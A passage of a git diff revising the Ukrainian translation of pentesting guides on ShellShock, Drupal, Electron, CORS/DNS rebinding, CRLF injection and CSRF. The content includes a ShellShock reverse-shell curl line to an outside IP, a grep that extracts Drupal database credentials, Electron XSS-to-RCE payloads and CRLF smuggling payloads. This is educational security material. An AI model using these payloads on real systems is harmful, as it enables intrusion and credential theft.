**ShellShock** -**ShellShock** - це **вразливість**, яка впливає на широко використовувану **Bash** командну оболонку в операційних системах на базі Unix. Вона націлена на здатність Bash виконувати команди, передані додатками. Вразливість полягає в маніпуляції **змінними середовища**, які є динамічними іменованими значеннями, що впливають на те, як процеси виконуються на комп'ютері. Зловмисники можуть експлуатувати це, прикріплюючи **шкідливий код** до змінних середовища, який виконується при отриманні змінної. Це дозволяє зловмисникам потенційно скомпрометувати систему. +**ShellShock** - це **вразливість**, яка впливає на широко використовувану **Bash** командну оболонку в операційних системах на базі Unix. Вона націлена на можливість Bash виконувати команди, передані додатками. Вразливість полягає в маніпуляції **змінними середовища**, які є динамічними іменованими значеннями, що впливають на те, як процеси працюють на комп'ютері. Зловмисники можуть експлуатувати це, прикріплюючи **шкідливий код** до змінних середовища, який виконується при отриманні змінної. Це дозволяє зловмисникам потенційно зламати систему. Експлуатуючи цю вразливість, **сторінка може викидати помилку**. @@ -20,7 +20,7 @@ ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(відображений, сліпий та поза зв'язком\)** +## **Curl \(відображений, сліпий та поза каналом\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -47,13 +47,13 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -# **Proxy \(MitM до запитів веб-сервера\)** +# **Проксі \(MitM до запитів веб-сервера\)** CGI створює змінну середовища для кожного заголовка в http запиті. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com" Оскільки змінна HTTP_PROXY може бути використана веб-сервером. Спробуйте надіслати **заголовок**, що містить: "**Proxy: <IP_attacker>:<PORT>**" і якщо сервер виконує будь-який запит під час сесії. Ви зможете захопити кожен запит, зроблений сервером. -# Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +# Старий PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) В основному, якщо cgi активний і php "старий" \(<5.3.12 / < 5.4.2\) ви можете виконати код. Щоб експлуатувати цю вразливість, вам потрібно отримати доступ до деякого PHP файлу веб-сервера без надсилання параметрів \(особливо без надсилання символу "="\). diff --git a/src/network-services-pentesting/pentesting-web/code-review-tools.md b/src/network-services-pentesting/pentesting-web/code-review-tools.md index af108d539..f99d04571 100644 --- a/src/network-services-pentesting/pentesting-web/code-review-tools.md +++ b/src/network-services-pentesting/pentesting-web/code-review-tools.md @@ -108,7 +108,7 @@ codeql database create --language --source-root --source-root /path/to/repo --db-cluster --language "javascript,python" @@ -172,7 +172,7 @@ echo $FINAL_MSG ``` Ви можете візуалізувати результати в [**https://microsoft.github.io/sarif-web-component/**](https://microsoft.github.io/sarif-web-component/) або за допомогою розширення VSCode [**SARIF viewer**](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer). -Ви також можете використовувати [**VSCode extension**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql), щоб отримати результати всередині VSCode. Вам все ще потрібно буде створити базу даних вручну, але потім ви можете вибрати будь-які файли та натиснути `Right Click` -> `CodeQL: Run Queries in Selected Files` +Ви також можете використовувати [**VSCode extension**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) для отримання результатів всередині VSCode. Вам все ще потрібно буде створити базу даних вручну, але потім ви можете вибрати будь-які файли та натиснути `Right Click` -> `CodeQL: Run Queries in Selected Files` ### [**Snyk**](https://snyk.io/product/snyk-code/) @@ -273,7 +273,7 @@ pip3 install bandit # Run bandit -r ``` -- [**safety**](https://github.com/pyupio/safety): Safety перевіряє залежності Python на наявність відомих вразливостей безпеки та пропонує відповідні заходи для усунення виявлених вразливостей. Safety можна запускати на машинах розробників, у CI/CD конвеєрах та на продуктивних системах. +- [**safety**](https://github.com/pyupio/safety): Safety перевіряє залежності Python на відомі вразливості безпеки та пропонує відповідні заходи для виявлених вразливостей. Safety можна запускати на машинах розробників, у CI/CD конвеєрах та на продуктивних системах. ```bash # Install pip install safety @@ -332,7 +332,7 @@ https://github.com/securego/gosec [Psalm](https://phpmagazine.net/2018/12/find-errors-in-your-php-applications-with-psalm.html) та [PHPStan](https://phpmagazine.net/2020/09/phpstan-pro-edition-launched.html). -### Wordpress Plugins +### Wordpress Плагіни [https://www.pluginvulnerabilities.com/plugin-security-checker/](https://www.pluginvulnerabilities.com/plugin-security-checker/) @@ -342,7 +342,7 @@ https://github.com/securego/gosec ## JavaScript -### Discovery +### Виявлення 1. Burp: - Spider та виявлення контенту @@ -351,15 +351,15 @@ https://github.com/securego/gosec 2. [WaybackURLs](https://github.com/tomnomnom/waybackurls): - `waybackurls |grep -i "\.js" |sort -u` -### Static Analysis +### Статичний аналіз -#### Unminimize/Beautify/Prettify +#### Розпакування/Краса/Прикрашання - [https://prettier.io/playground/](https://prettier.io/playground/) - [https://beautifier.io/](https://beautifier.io/) - Дивіться деякі з інструментів, згаданих у 'Deobfuscate/Unpack' нижче. -#### Deobfuscate/Unpack +#### Деобфускація/Розпакування **Примітка**: Можливо, не вдасться повністю деобфускувати. @@ -369,44 +369,44 @@ https://github.com/securego/gosec - Використовуйте [JS Miner](https://github.com/PortSwigger/js-miner) для їх пошуку. - Переконайтеся, що активне сканування проводиться. - Читайте '[Tips/Notes](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)' -- Якщо знайдено, використовуйте [Maximize](https://www.npmjs.com/package/maximize) для деобфускування. +- Якщо знайдено, використовуйте [Maximize](https://www.npmjs.com/package/maximize) для деобфускації. 2. Без .map файлів спробуйте JSnice: - Посилання: [http://jsnice.org/](http://jsnice.org/) & [https://www.npmjs.com/package/jsnice](https://www.npmjs.com/package/jsnice) - Поради: -- Якщо використовуєте jsnice.org, натисніть на кнопку параметрів поруч із кнопкою "Nicify JavaScript" і зніміть вибір з "Infer types", щоб зменшити захаращення коду коментарями. -- Переконайтеся, що ви не залишаєте жодних порожніх рядків перед скриптом, оскільки це може вплинути на процес деобфускування та дати неточні результати. +- Якщо використовуєте jsnice.org, натисніть на кнопку опцій поруч із кнопкою "Nicify JavaScript" і зніміть вибір з "Infer types", щоб зменшити захаращення коду коментарями. +- Переконайтеся, що ви не залишаєте жодних порожніх рядків перед скриптом, оскільки це може вплинути на процес деобфускації та дати неточні результати. 3. Для деяких сучасних альтернатив JSNice, ви можете розглянути наступні: - [https://github.com/pionxzh/wakaru](https://github.com/pionxzh/wakaru) -- > Javascript декомпілятор, розпаковувач та інструмент для розмінювання Wakaru є Javascript декомпілятором для сучасного фронтенду. Він відновлює оригінальний код з упакованого та транспільованого джерела. +- > Javascript декомпіллятор, розпаковувач та інструмент для розмінювання Wakaru є Javascript декомпіллятором для сучасного фронтенду. Він відновлює оригінальний код з упакованого та транспільованого джерела. - [https://github.com/j4k0xb/webcrack](https://github.com/j4k0xb/webcrack) -- > Деобфускувати obfuscator.io, розмінювати та розпаковувати упакований javascript +- > Деобфускація obfuscator.io, розмінювання та розпакування упакованого javascript - [https://github.com/jehna/humanify](https://github.com/jehna/humanify) -- > Розмінювати Javascript код за допомогою ChatGPT Цей інструмент використовує великі мовні моделі (як ChatGPT та llama2) та інші інструменти для розмінювання Javascript коду. Зверніть увагу, що LLM не виконують жодних структурних змін – вони лише надають підказки для перейменування змінних та функцій. Важка робота виконується Babel на рівні AST, щоб забезпечити збереження коду в еквівалентному вигляді 1-1. +- > Розмінювання Javascript коду за допомогою ChatGPT Цей інструмент використовує великі мовні моделі (як ChatGPT та llama2) та інші інструменти для розмінювання Javascript коду. Зверніть увагу, що LLM не виконують жодних структурних змін – вони лише надають підказки для перейменування змінних та функцій. Важка робота виконується Babel на рівні AST, щоб забезпечити збереження коду в еквівалентному вигляді 1-1. - [https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html](https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html) - > Використання LLM для скасування мінімізації імен змінних JavaScript 3. Використовуйте `console.log()`; - Знайдіть значення повернення в кінці та змініть його на `console.log();`, щоб деобфускований js виводився замість виконання. - Потім вставте модифікований (і все ще обфускований) js у [https://jsconsole.com/](https://jsconsole.com/), щоб побачити деобфускований js, виведений у консолі. -- Нарешті, вставте деобфускований вихід у [https://prettier.io/playground/](https://prettier.io/playground/), щоб покращити його для аналізу. +- Нарешті, вставте деобфускований вихід у [https://prettier.io/playground/](https://prettier.io/playground/), щоб прикрасити його для аналізу. - **Примітка**: Якщо ви все ще бачите упакований (але інший) js, можливо, він упакований рекурсивно. Повторіть процес. -#### References +#### Посилання - [YouTube: DAST - Javascript Dynamic Analysis](https://www.youtube.com/watch?v=_v8r_t4v6hQ) - [https://blog.nvisium.com/angular-for-pentesters-part-1](https://web.archive.org/web/20221226054137/https://blog.nvisium.com/angular-for-pentesters-part-1) - [https://blog.nvisium.com/angular-for-pentesters-part-2](https://web.archive.org/web/20230204012439/https://blog.nvisium.com/angular-for-pentesters-part-2) - [devalias](https://twitter.com/_devalias)'s [GitHub Gists](https://gist.github.com/0xdevalias): -- [Деобфускування / Розмінювання обфускованого коду веб-додатка](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code) -- [Реверс інженерія веб-додатків Webpack](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps) +- [Деобфускація / Розмінювання обфускованого коду веб-додатка](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code) +- [Реверс інженерія Webpack додатків](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps) - [тощо](https://gist.github.com/search?q=user:0xdevalias+javascript) -#### Tools +#### Інструменти - [https://portswigger.net/burp/documentation/desktop/tools/dom-invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader) -#### Less Used References +#### Менш використовувані посилання - [https://cyberchef.org/](https://cyberchef.org/) - [https://olajs.com/javascript-prettifier](https://olajs.com/javascript-prettifier) diff --git a/src/network-services-pentesting/pentesting-web/drupal/README.md b/src/network-services-pentesting/pentesting-web/drupal/README.md index 5cae06b11..dfb2edf93 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/README.md +++ b/src/network-services-pentesting/pentesting-web/drupal/README.md @@ -37,7 +37,7 @@ Drupal підтримує **три типи користувачів** за за **Щоб перерахувати користувачів, ви можете:** - **Отримати кількість користувачів:** Просто отримуйте доступ до `/user/1`, `/user/2`, `/user/3`... поки не отримаєте помилку, що вказує на те, що користувача не існує. -- **Реєстрація**: Отримайте доступ до `/user/register` і спробуйте створити ім'я користувача, і якщо ім'я вже зайняте, це буде вказано в помилці від сервера. +- **Реєстрація**: Отримайте доступ до `/user/register` і спробуйте створити ім'я користувача, і якщо ім'я вже зайняте, це буде вказано в помилці з сервера. - **Скидання пароля**: Спробуйте скинути пароль користувача, і якщо користувача не існує, це буде чітко вказано в повідомленні про помилку. ### Сховані сторінки @@ -70,11 +70,11 @@ drupal-rce.md - [**Drupalwned**](https://github.com/nowak0x01/Drupalwned): Скрипт експлуатації Drupal, який **підвищує XSS до RCE або інших критичних вразливостей.** Для отримання додаткової інформації перегляньте [**цей пост**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він **підтримує версії Drupal 7.X.X, 8.X.X, 9.X.X та 10.X.X, і дозволяє:** - _**Підвищення привілеїв:**_ Створює адміністративного користувача в Drupal. -- _**(RCE) Завантажити шаблон:**_ Завантажує користувацькі шаблони з бекдором до Drupal. +- _**(RCE) Завантаження шаблону:**_ Завантажує користувацькі шаблони з бекдором до Drupal. ## Постексплуатація -### Прочитати settings.php +### Прочитайте settings.php ```bash find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null ``` diff --git a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md index 11c68e6ed..97f4fb7cd 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md +++ b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md @@ -5,7 +5,7 @@ ## З модулем PHP Filter > [!WARNING] -> У старіших версіях Drupal **(до версії 8)** було можливим увійти як адміністратор і **увімкнути модуль `PHP filter`**, який "Дозволяє оцінювати вбудований PHP код/фрагменти." Але з версії 8 цей модуль не встановлюється за замовчуванням. +> У старіших версіях Drupal **(до версії 8)** було можливим увійти як адміністратор і **увімкнути модуль `PHP filter`**, який "дозволяє оцінювати вбудований PHP код/фрагменти." Але з версії 8 цей модуль не встановлюється за замовчуванням. 1. Перейдіть до **/modules/php** і якщо повертається помилка 403, то **плагін PHP filter встановлений, і ви можете продовжити** 1. Якщо ні, перейдіть до `Modules` і поставте галочку на `PHP Filter`, а потім натисніть `Save configuration` @@ -19,7 +19,7 @@ curl http://drupal.local/node/3 > [!WARNING] > У поточних версіях більше неможливо встановлювати плагіни, маючи доступ лише до вебу після стандартної установки. -З версії **8 і далі,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **модуль не встановлюється за замовчуванням**. Щоб скористатися цією функціональністю, нам потрібно **встановити модуль самостійно**. +З версії **8 і далі,** [**модуль PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **не встановлюється за замовчуванням**. Щоб скористатися цією функціональністю, нам потрібно **встановити модуль самостійно**. 1. Завантажте найновішу версію модуля з веб-сайту Drupal. 1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz` @@ -44,7 +44,7 @@ curl http://drupal.local/node/3 ### Частина 1 (активація _Media_ та _Media Library_) -У меню _Extend_ (/admin/modules) ви можете активувати те, що виглядає як плагіни, які вже встановлені. За замовчуванням плагіни _Media_ та _Media Library_ не активовані, тож давайте їх активуємо. +У меню _Extend_ (/admin/modules) ви можете активувати те, що здається плагінами, які вже встановлені. За замовчуванням плагіни _Media_ та _Media Library_ не активовані, тож давайте їх активуємо. Перед активацією: @@ -65,7 +65,7 @@ curl http://drupal.local/node/3 **Патч system.file.yml** -Почнемо з патчування першого запису `allow_insecure_uploads` з: +Давайте почнемо з патчування першого запису `allow_insecure_uploads` з: Файл: system.file.yml ``` diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 8f9fd22ce..75f41ea69 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -36,7 +36,7 @@ win.loadURL(`file://path/to/index.html`) Electron додаток **може отримати доступ до пристрою** через Node API, хоча його можна налаштувати, щоб запобігти цьому: -- **`nodeIntegration`** - за замовчуванням вимкнено. Якщо ввімкнено, дозволяє отримувати доступ до функцій node з renderer process. +- **`nodeIntegration`** - за замовчуванням вимкнено. Якщо ввімкнено, дозволяє отримувати доступ до функцій Node з renderer process. - **`contextIsolation`** - за замовчуванням увімкнено. Якщо вимкнено, основний і renderer процеси не ізольовані. - **`preload`** - за замовчуванням порожній. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням вимкнено. Це обмежить дії, які може виконувати NodeJS. @@ -101,7 +101,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" /> ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` -## Впровадження коду локально в Electron +## Впровадження коду Electron локально Якщо ви можете виконати Electron App локально, можливо, ви зможете виконати довільний код javascript. Перевірте, як це зробити в: @@ -111,7 +111,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" /> ## RCE: XSS + nodeIntegration -Якщо **nodeIntegration** встановлено на **on**, JavaScript веб-сторінки може легко використовувати функції Node.js, просто викликавши `require()`. Наприклад, спосіб виконати калькулятор на Windows: +Якщо **nodeIntegration** встановлено на **включено**, JavaScript веб-сторінки може легко використовувати функції Node.js, просто викликавши `require()`. Наприклад, спосіб виконати калькулятор на Windows: ```html ``` -Оскільки виклик `SAFE_PROTOCOLS.indexOf` завжди поверне 1337, зловмисник може обійти захист і виконати calc. Остаточний експлойт: +Оскільки виклик до `SAFE_PROTOCOLS.indexOf` завжди поверне 1337, зловмисник може обійти захист і виконати calc. Остаточний експлойт: ```html ``` -## Bypass +## Обхід ### XSSI (Cross-Site Script Inclusion) / JSONP XSSI, також відомий як Cross-Site Script Inclusion, є типом вразливості, яка використовує той факт, що Політика одного походження (SOP) не застосовується при включенні ресурсів за допомогою тегу script. Це пов'язано з тим, що скрипти повинні мати можливість включатися з різних доменів. Ця вразливість дозволяє зловмиснику отримувати доступ і читати будь-який контент, який був включений за допомогою тегу script. -Ця вразливість стає особливо значущою, коли йдеться про динамічний JavaScript або JSONP (JSON з Padding), особливо коли для аутентифікації використовуються дані про навколишнє середовище, такі як куки. При запиті ресурсу з іншого хоста куки включаються, що робить їх доступними для зловмисника. +Ця вразливість стає особливо значущою, коли йдеться про динамічний JavaScript або JSONP (JSON з обгорткою), особливо коли для аутентифікації використовуються дані про навколишнє середовище, такі як куки. При запиті ресурсу з іншого хоста куки включаються, що робить їх доступними для зловмисника. -Щоб краще зрозуміти і зменшити цю вразливість, ви можете використовувати плагін BurpSuite, доступний за адресою [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Цей плагін може допомогти виявити та усунути потенційні вразливості XSSI у ваших веб-додатках. +Щоб краще зрозуміти та зменшити цю вразливість, ви можете використовувати плагін BurpSuite, доступний за адресою [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Цей плагін може допомогти виявити та усунути потенційні вразливості XSSI у ваших веб-додатках. [**Дізнайтеся більше про різні типи XSSI та як їх експлуатувати тут.**](xssi-cross-site-script-inclusion.md) @@ -309,12 +308,12 @@ XSSI, також відомий як Cross-Site Script Inclusion, є типом ### Легкий (марний?) обхід -Один зі способів обійти обмеження `Access-Control-Allow-Origin` - це запитати веб-додаток, щоб він зробив запит від вашого імені та надіслав відповідь назад. Однак у цьому сценарії облікові дані остаточної жертви не будуть надіслані, оскільки запит робиться до іншого домену. +Один зі способів обійти обмеження `Access-Control-Allow-Origin` - це запитати веб-додаток, щоб він зробив запит від вашого імені та надіслав відповідь. Однак у цьому сценарії облікові дані фінальної жертви не будуть надіслані, оскільки запит робиться до іншого домену. -1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Цей інструмент надає проксі, який пересилає ваш запит разом з його заголовками, одночасно підробляючи заголовок Origin, щоб відповідати запитуваному домену. Це ефективно обіймає політику CORS. Ось приклад використання з XMLHttpRequest: +1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Цей інструмент надає проксі, який пересилає ваш запит разом з його заголовками, одночасно підробляючи заголовок Origin, щоб відповідати запитуваному домену. Це ефективно обминає політику CORS. Ось приклад використання з XMLHttpRequest: 2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Цей інструмент пропонує альтернативний підхід до проксирування запитів. Замість того, щоб передавати ваш запит як є, сервер робить свій власний запит з вказаними параметрами. -### Iframe + Popup обхід +### Обхід за допомогою Iframe + Popup Ви можете **обійти перевірки CORS**, такі як `e.origin === window.origin`, **створивши iframe** і **з нього відкривши нове вікно**. Більше інформації на наступній сторінці: @@ -324,17 +323,17 @@ xss-cross-site-scripting/iframes-in-xss-and-csp.md ### DNS Rebinding через TTL -DNS rebinding через TTL - це техніка, яка використовується для обходу певних заходів безпеки шляхом маніпулювання DNS-записами. Ось як це працює: +DNS rebinding через TTL - це техніка, що використовується для обходу певних заходів безпеки шляхом маніпуляції DNS-записами. Ось як це працює: 1. Зловмисник створює веб-сторінку і змушує жертву отримати до неї доступ. 2. Потім зловмисник змінює DNS (IP) свого домену, щоб вказувати на веб-сторінку жертви. -3. Браузер жертви кешує відповідь DNS, яка може мати значення TTL (Time to Live), що вказує, як довго DNS-запис повинен вважатися дійсним. +3. Браузер жертви кешує відповідь DNS, яка може мати значення TTL (Time to Live), що вказує, як довго DNS-запис слід вважати дійсним. 4. Коли TTL закінчується, браузер жертви робить новий DNS-запит, що дозволяє зловмиснику виконати JavaScript-код на сторінці жертви. 5. Підтримуючи контроль над IP жертви, зловмисник може збирати інформацію з жертви, не надсилаючи жодних куків на сервер жертви. Важливо зазначити, що браузери мають механізми кешування, які можуть запобігти негайному зловживанню цією технікою, навіть з низькими значеннями TTL. -DNS rebinding може бути корисним для обходу явних перевірок IP, які виконуються жертвою, або для сценаріїв, коли користувач або бот залишається на одній сторінці протягом тривалого часу, що дозволяє кешу закінчитися. +DNS rebinding може бути корисним для обходу явних перевірок IP, що виконуються жертвою, або для сценаріїв, коли користувач або бот залишається на одній сторінці протягом тривалого часу, що дозволяє кешу закінчитися. Якщо вам потрібен швидкий спосіб зловживати DNS rebinding, ви можете використовувати сервіси, такі як [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html). @@ -344,7 +343,7 @@ DNS rebinding може бути корисним для обходу явних ### DNS Rebinding через **DNS Cache Flooding** -DNS rebinding через DNS cache flooding - це ще одна техніка, яка використовується для обходу механізму кешування браузерів і примушення другого DNS-запиту. Ось як це працює: +DNS rebinding через DNS cache flooding - це ще одна техніка, що використовується для обходу механізму кешування браузерів і примушення до другого DNS-запиту. Ось як це працює: 1. Спочатку, коли жертва робить DNS-запит, на нього відповідає IP-адреса зловмисника. 2. Щоб обійти захист кешування, зловмисник використовує сервісний робітник. Сервісний робітник заповнює кеш DNS, що ефективно видаляє кешоване ім'я сервера зловмисника. @@ -363,7 +362,7 @@ DNS rebinding через DNS cache flooding - це ще одна техніка, 5. Браузер жертви, усвідомивши, що домен не відповідає, переходить до використання другої наданої IP-адреси. 6. Доступаючи до другої IP-адреси, браузер обминає Політику одного походження (SOP), що дозволяє зловмиснику зловживати цим і збирати та ексфільтрувати інформацію. -Ця техніка використовує поведінку браузерів, коли для домену надаються кілька IP-адрес. Стратегічно контролюючи відповіді та маніпулюючи вибором IP-адреси браузера, зловмисник може експлуатувати SOP і отримувати інформацію від жертви. +Ця техніка використовує поведінку браузерів, коли для домену надаються кілька IP-адрес. Стратегічно контролюючи відповіді та маніпулюючи вибором IP-адреси браузера, зловмисник може експлуатувати SOP і отримувати доступ до інформації з жертви. > [!WARNING] > Зверніть увагу, що для доступу до localhost вам слід спробувати переприв'язати **127.0.0.1** у Windows і **0.0.0.0** у Linux.\ @@ -381,9 +380,9 @@ DNS rebinding через DNS cache flooding - це ще одна техніка, ### Зброя DNS Rebidding -Ви можете знайти більше інформації про попередні техніки обходу та як використовувати наступний інструмент у доповіді [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ). +Ви можете знайти більше інформації про попередні техніки обходу та як використовувати наступний інструмент у доповіді [Gerald Doussot - Стан атак DNS Rebinding & Унікальність походження - конференція DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ). -[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) - це інструмент для виконання [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) атак. Він включає необхідні компоненти для переприв'язки IP-адреси DNS-імені сервера атаки до IP-адреси цільової машини та для надання корисних навантажень для експлуатації вразливого програмного забезпечення на цільовій машині. +[**`Унікальність походження`**](https://github.com/nccgroup/singularity) - це інструмент для виконання атак [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Він включає необхідні компоненти для переприв'язки IP-адреси DNS-імені сервера атаки до IP-адреси цільової машини та для надання атакуючих корисних навантажень для експлуатації вразливого програмного забезпечення на цільовій машині. ### Реальний захист від DNS Rebinding diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md index 013f55644..d4b230e91 100644 --- a/src/pentesting-web/crlf-0d-0a.md +++ b/src/pentesting-web/crlf-0d-0a.md @@ -10,13 +10,13 @@ ### CRLF Injection Vulnerability -Вразливість CRLF injection полягає у вставці символів CR та LF у введення, надане користувачем. Ця дія вводить в оману сервер, додаток або користувача, змушуючи їх інтерпретувати вставлену послідовність як кінець однієї відповіді та початок іншої. Хоча ці символи не є inherently шкідливими, їхнє неправильне використання може призвести до розділення HTTP-відповідей та інших шкідливих дій. +Вразливість CRLF injection полягає у вставці символів CR та LF у введення, надане користувачем. Ця дія вводить в оману сервер, додаток або користувача, змушуючи їх інтерпретувати вставлену послідовність як кінець однієї відповіді та початок іншої. Хоча ці символи не є inherently шкідливими, їхнє неправильне використання може призвести до розділення HTTP-відповідей та інших зловмисних дій. ### Example: CRLF Injection in a Log File [Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/) -Розглянемо файл журналу в адміністративній панелі, який має формат: `IP - Час - Відвіданий шлях`. Типовий запис може виглядати так: +Розгляньте файл журналу в адміністративній панелі, який має формат: `IP - Час - Відвіданий шлях`. Типовий запис може виглядати так: ``` 123.123.123.123 - 08:15 - /index.php?page=home ``` @@ -24,7 +24,7 @@ ``` /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` -Тут `%0d` і `%0a` представляють URL-кодовані форми CR і LF. Після атаки журнал помилково відображатиме: +Тут `%0d` та `%0a` представляють URL-кодовані форми CR та LF. Після атаки журнал помилково відображатиме: ``` IP - Time - Visited Path @@ -125,7 +125,7 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0 `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1` -2. **Створення префікса для отруєння черги відповідей**: Цей підхід передбачає створення префікса, який, у поєднанні з кінцевим сміттям, формує повний другий запит. Це може викликати отруєння черги відповідей. Приклад: +2. **Створення префікса для отруєння черги відповідей**: Цей підхід передбачає створення префікса, який, у поєднанні з залишковим сміттям, формує повний другий запит. Це може викликати отруєння черги відповідей. Приклад: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` @@ -155,7 +155,7 @@ Memcache є **сховищем ключ-значення, яке викорис 1. **Уникати прямого введення користувача в заголовках відповіді:** Найбезпечніший підхід - утримуватися від включення введення, наданого користувачем, безпосередньо в заголовки відповіді. 2. **Кодувати спеціальні символи:** Якщо уникнути прямого введення користувача неможливо, обов'язково використовуйте функцію, призначену для кодування спеціальних символів, таких як CR (Carriage Return) і LF (Line Feed). Ця практика запобігає можливості ін'єкції CRLF. -3. **Оновити мову програмування:** Регулярно оновлюйте мову програмування, що використовується у ваших веб-додатках, до останньої версії. Вибирайте версію, яка за замовчуванням забороняє ін'єкцію символів CR і LF у функціях, призначених для встановлення HTTP заголовків. +3. **Оновити мову програмування:** Регулярно оновлюйте мову програмування, що використовується у ваших веб-додатках, до останньої версії. Вибирайте версію, яка за замовчуванням забороняє ін'єкцію символів CR і LF у функціях, що відповідають за встановлення HTTP заголовків. ### CHEATSHEET @@ -186,7 +186,7 @@ Memcache є **сховищем ключ-значення, яке викорис - [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) - [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz) -## Список виявлення грубої сили +## Список виявлення брутфорсу - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt) diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index 1236ebef8..f54a8fcdd 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -4,7 +4,7 @@ ## Пояснення Cross-Site Request Forgery (CSRF) -**Cross-Site Request Forgery (CSRF)** - це тип вразливості безпеки, що зустрічається у веб-додатках. Вона дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, експлуатуючи їх автентифіковані сесії. Атака виконується, коли користувач, який увійшов до платформи жертви, відвідує шкідливий сайт. Цей сайт потім викликає запити до облікового запису жертви за допомогою методів, таких як виконання JavaScript, надсилання форм або отримання зображень. +**Cross-Site Request Forgery (CSRF)** - це тип вразливості безпеки, що зустрічається у веб-додатках. Вона дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, експлуатуючи їх автентифіковані сесії. Атака виконується, коли користувач, який увійшов до платформи жертви, відвідує шкідливий сайт. Цей сайт потім ініціює запити до облікового запису жертви за допомогою методів, таких як виконання JavaScript, надсилання форм або отримання зображень. ### Передумови для атаки CSRF @@ -12,7 +12,7 @@ 1. **Визначити цінну дію**: Зловмисник повинен знайти дію, яку варто експлуатувати, наприклад, зміну пароля користувача, електронної пошти або підвищення привілеїв. 2. **Управління сесією**: Сесія користувача повинна управлятися виключно через куки або заголовок HTTP Basic Authentication, оскільки інші заголовки не можуть бути маніпульовані для цієї мети. -3. **Відсутність непередбачуваних параметрів**: Запит не повинен містити непередбачуваних параметрів, оскільки вони можуть завадити атаці. +3. **Відсутність непередбачуваних параметрів**: Запит не повинен містити непередбачувані параметри, оскільки вони можуть завадити атаці. ### Швидка перевірка @@ -24,10 +24,10 @@ 